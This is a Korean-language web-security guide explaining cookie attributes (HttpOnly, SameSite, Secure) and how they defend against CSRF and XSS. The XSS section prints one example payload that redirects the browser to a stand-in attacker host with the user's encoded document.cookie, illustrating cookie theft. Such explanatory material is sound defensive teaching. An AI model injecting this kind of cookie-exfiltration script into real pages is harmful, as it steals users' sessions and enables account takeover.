가. 쿠키 보안 취약점 대응
1) 보안 속성별 특징 요약
•
HttpOnly: 오직 HTTP Request로만 쿠키 전송, 브라우저 및 자바스크립트로 쿠키 조회 방지
•
SameSite=Lax: HTTP 302 Redirect 이동 또는 GET 요청의 경우 third-party cookie 전송 허용
•
Secure: HTTPS 통신만으로 쿠키 전송
3) 사례 참고
나. 쿠키란
1) 정의
•
쿠키란 브라우저에 데이터를 저장하는 수단 중 하나로, 서버의 응답 중 Set-Cookie 헤더 필드로 전달된 데이터를 브라우저에 저장한다.
•
브라우저에 저장된 쿠키는 특정 조건에 일치하면 HTTP 요청에 담아서 서버로 전달할 수 있다.
2) 특징
•
쿠키는 key-value의 쌍으로 구성된다.
ex) Set-Cookie: sid=219ffwef9w0f; Domain=somecompany.co.uk
•
쿠키는 Expires or Max-Age 속성 유무에 따라 Session cookie와 Permanent cookie로 구분된다. Session Cookie는 브라우저 종료 시 제거되지만 Permanent cookie는 속성에 정의된 시간이 지나야 제거된다.
ex) Session cookie: Set-Cookie: sid=38afes7a8, Permanent cookie: Set-Cookie: sid=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT or Set-Cookie: sid=a3fWa; Max-Age=2592000
•
domain이 설정된 쿠키는 해당 domain이 수신처로 지정된 요청에만 쿠키를 전달한다. 만약 쿠키 내 도메인이 아래와 같이 설정되어 있다면 hello.ogq.me로 지정된 HTTP 요청에는 아래 쿠키가 포함되지 않는다. Domain이 지정될 경우 도메인이 완전 일치해야 한다. 만약 도메인이 설정되지 않았다면 쿠키를 전달한 서버의 도메인이 기본값으로 지정된다. 만약 Domain=.google.com으로 설정되어 있다면 해당 쿠키는 서브 도메인을 first-party cookie로 인식하고 쿠키를 전달한다.
ex) Set-Cookie: sid=219ffwef9w0f; Domain=ogq.me
•
third-party cookie: 사용자가 접속한 페이지와 다른 도메인으로 전송하는 쿠키이다. 만약 ogq.me에 접속한 상태에서 이미지 URL에 따라 naver.com/image.png에 요청을 보낸다면 이하의 쿠키도 요청에 포함될 것이다. 이 경우 전달되는 쿠키는 third-party cookie에 해당한다.
ex) Set-Cookie: sid=219ffwef9w0f; Domain=naver.com
•
first-party cookie: 사용자가 접속한 페이지와 같은 도메인으로 전송하는 쿠키
다. CSRF 취약점과 SameSite 속성
1) CSRF(Cross Site Request Forgery)
•
CSRF는 공격자가 사용자의 인증 정보를 악용하여 사용자가 의도하지 않은 행위를 수행할 수 있는 취약점이다.
•
사용자가 로그인한 상태에서 공격자가 생성한 악의적인 웹 페이지를 방문하게 되면, 악의적인 웹 페이지는 사용자의 웹 브라우저를 조작하여 의도하지 않은 요청을 보내게 한다. 이때 웹 브라우저는 사용자의 쿠키를 자동으로 해당 요청에 포함시키기 때문에, 서버는 이 요청을 인증된 사용자로부터 온 것으로 인식한다. 이를 통해 공격자는 사용자의 인증 정보를 도용하여 악의적인 목적을 달성할 수 있다.
2) SameSite 속성 특징
•
Cross Site 요청에 대한 third-party cookie 전송 제한
•
SameSite=None: Cross Site 요청에 first-party cookie와 third-party cookie 전송. None으로 설정된 경우 Secure flag가 반드시 설정되어야 함
•
SameSite=Lax: Cross Site 요청에는 fisrt-party cookie와 일부의 third-party cookie만 전송
•
SameSite=Strict: Cross Site 요청에는 오직 first-party cookie만 전송
3) SameSite=Lax
•
크롬의 경우, SameSite가 빈 값이면 Lax로 자동 설정함
•
서버의 상태를 바꾸지 않는 GET 요청의 경우, third-party cookie 전송 허용
•
HTTP 302 Redirect 이동 또는 Top Level Navigation(window.loacation.replace)에는 third-party cookie 전송 허용
라. XSS 취약점과 HttpOnly 속성
1) XSS(Cross Site Scripting)
•
공격자가 웹 페이지에 악성 스크립트를 삽입하여 다른 사용자의 웹 브라우저에서 실행되게 하는 취약점이다.
•
아래 코드는 사용자의 쿠키를 인코딩한 후, 공격자의 서버로 전송할 수 있다. 공격자는 전송된 쿠키를 이용해 사용자 계정에 접근하거나 다른 악의적인 행위를 수행할 수 있다
document.location = '<https://attacker.example.com/cookie_stealer.php?cookie=>' + encodeURIComponent(document.cookie);
Plain Text
복사
2) HttpOnly 속성 특징
•
오직 HTTP Request로만 쿠키 전송
•
브라우저 및 자바스크립트로 쿠키 조회 방지